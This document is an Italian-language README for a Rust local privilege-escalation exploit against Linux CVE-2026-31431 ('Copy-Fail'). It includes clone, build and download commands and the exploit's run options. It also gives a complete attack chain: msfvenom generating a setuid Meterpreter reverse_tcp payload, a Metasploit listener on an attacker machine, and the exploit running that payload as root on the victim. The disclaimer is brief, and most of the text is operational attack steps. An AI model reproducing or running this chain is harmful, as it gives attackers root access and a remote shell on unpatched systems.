
# Exploit di escalation dei privilegi locali basato su Rust per CVE-2026-31431 Exploit di escalation dei privilegi locali basato su Rust per CVE-2026-31431, che consente l'esecuzione di shellcode personalizzato come Meterpreter su sistemi Linux.
Un'implementazione in Rust di un exploit di escalation dei privilegi locali per CVE-2026-31431 (Copy-Fail).
Consente di eseguire shellcode personalizzati (come Meterpreter)
Xint ha divulgato CVE-2026-31431, una vulnerabilità di scrittura arbitraria nella page cache che combina AF_ALG e splice() per ottenere una primitiva di scrittura di 4 byte.
Fonte: Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
Questo progetto è stato sviluppato come parte del mio interesse personale nello studio della cybersecurity. Tuttavia, potrebbe potenzialmente essere utilizzato in modo improprio per scopi dannosi.
Non utilizzare QUESTO strumento per attività illegali.
L'autore non è responsabile di qualsiasi uso improprio di questo software.
Nota: Il lavoro originale utilizza uno shellcode compresso/codificato (ad es.,
/bin/sh). In questa implementazione, l'ho sostituito con uno shellcode/bin/bashgrezzo (non compresso), rendendo più semplice personalizzarlo o sostituirlo direttamente con payload forniti dall'utente.
Clona il progetto, quindi esegui build.sh:
git clone [email protected]:iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
cd ./CVE-2026-31431-Linux-Copy-Fail
chmod +x ./build.sh
./build.sh
Scarica ed estrai il pacchetto della release:
wget https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/releases/latest/download/CVE-2026-31431-Linux-Fail.gz
tar -xzf CVE-2026-31431-Linux-Fail.gz
chmod +x CVE-2026-31431-Linux-Copy-Fail_x64
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86
I binari forniscono le seguenti opzioni:
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
./CVE-2026-31431-Linux-Copy-Fail --bin shellcode.bin
Sulla macchina vulnerabile:
./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
Utilizza il comando (imposta PrependSetUid su True) riportato di seguito per generare il payload Meterpreter:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.x lport=4444 -f elf prependsetuid=true > payload.bin
Sulla macchina dell'attaccante (Kali Linux):
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.x
set lport 4444
run
Sulla macchina vulnerabile:
./CVE-2026-31431-Linux-Copy-Fail --bin payload.bin